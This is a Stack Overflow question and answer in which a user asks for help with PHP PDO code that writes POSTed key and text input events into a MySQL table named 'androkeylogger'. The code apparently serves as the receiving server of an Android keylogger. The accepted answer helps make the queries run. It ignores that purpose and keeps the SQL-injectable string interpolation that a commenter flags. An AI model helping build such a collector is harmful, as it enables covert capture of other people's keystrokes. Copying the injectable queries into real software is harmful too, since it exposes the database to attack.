PHP- PDO MySQL execute();

Question

I am using PDO MySQL to insert POST data in MySQL server. My code is:

<?php
$ip = $_SERVER['REMOTE_ADDR']
$type = $_POST['type'];
$data = $_POST['data'];
$server = localhost;
$mysql_user = dbuser;
$mysql_pass = passwd;
$useDb = android;

$dsn = sprintf('mysql:host=%s; dbname=%s', $server, $useDb);
$pdo = new PDO($dsn, $mysql_user, $mysql_pass);
$pdo->setAttribute(PDO::ATTR_TIMEOUT, 1);
$pdo->setAttribute(PDO::ATTR_PERSISTENT, false);
$pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, 'SET NAMES utf8');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

switch($type)
{
    case 'keyinputevent':
        $query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
        $query->execute();
        $rows = $query->rowCount();
        if ($rows > 0) {
            $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
        }
        else {
            $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)');
        }
        break;

    case 'textinputevent':
        $query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
        $query->execute();
        $rows = $query->rowCount();
        if ($rows > 0) {
            $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
        }
        else {
            $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
        }
        break;
}
?>

In the if else statements, should I add $pdo->execute(); to execute the query? Any help would be appreciated.

EDIT: i have changed query variable name in if..else statements. Is this correct now?

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$type = $_POST['type'];
$data = $_POST['data'];
$server = localhost;
$mysql_user = dbuser;
$mysql_pass = passwd;
$useDb = android;

$dsn = sprintf('mysql:host=%s;dbname=%s', $server, $useDb);
$pdo = new PDO($dsn, $mysql_user, $mysql_pass);
$pdo->setAttribute(PDO::ATTR_TIMEOUT, 1);
$pdo->setAttribute(PDO::ATTR_PERSISTENT, false);
$pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, 'SET NAMES utf8');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

switch($type)
{
case 'keyinputevent':
$query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
$query->execute();
$rows = $query->rowCount();
if ($rows > 0) {
$query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
}
else {
$query2=$pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)');
}
$query2->execute(); 
break;

case 'textinputevent':
$query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
$query->execute();
$rows = $query->rowCount();
if ($rows > 0) {
$query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
}
else { 
$query2 = $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
}
$query2->execute(); 
break;
}
?>

Your code would be SO much easier to read if you started to use indentation. You also use pretty quotes (‘’) instead of regular quotes ('') which mean that your sql will fail. You're also pasting variables directly into your SQL query meaning that you're open to SQL injection. Bind your variables instead of pasting them in the query. — h2ooooooo
– h2ooooooo, Commented Jul 2, 2014 at 9:16
I am not using pretty quotes, they're regular. Can you explain how to avoid SQLi? — user3696690
– user3696690, Commented Jul 2, 2014 at 9:24
By binding your variables instead of pasting them in the query. And you are. SELECT * FROM androkeylogger WHERE ip = ‘$ip’ is not the same as SELECT * FROM androkeylogger WHERE ip = '$ip' — h2ooooooo
– h2ooooooo, Commented Jul 2, 2014 at 9:27

danielvdende · Accepted Answer · 2014-07-02 08:59:05Z

1

Yes, you have prepared a second query (i.e. the queries in you if...else statements, but you need to call execute to make the query actually take place. I'd do something like this:

if ($rows > 0) {
    $query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
} else {
    $query2  = $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
}
$query2->execute();
break;

edited Jul 2, 2014 at 8:59

answered Jul 2, 2014 at 8:36

danielvdende

7109 silver badges25 bronze badges

Sign up to request clarification or add additional context in comments.

2 Comments

danielvdende Over a year ago

Looks good to me, have you tried running this yet? (assuming your queries are ok for what you're trying to achieve of course ;) )

user3696690 Over a year ago

Haven't run it yet cuz I'd like to assure if its okay or not, thank you for the answer. I'll try :)

Collectives™ on Stack Overflow

PHP- PDO MySQL execute();

1 Answer 1

2 Comments

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

1 Answer 1

2 Comments

Your Answer

Sign up or log in

Post as a guest

Related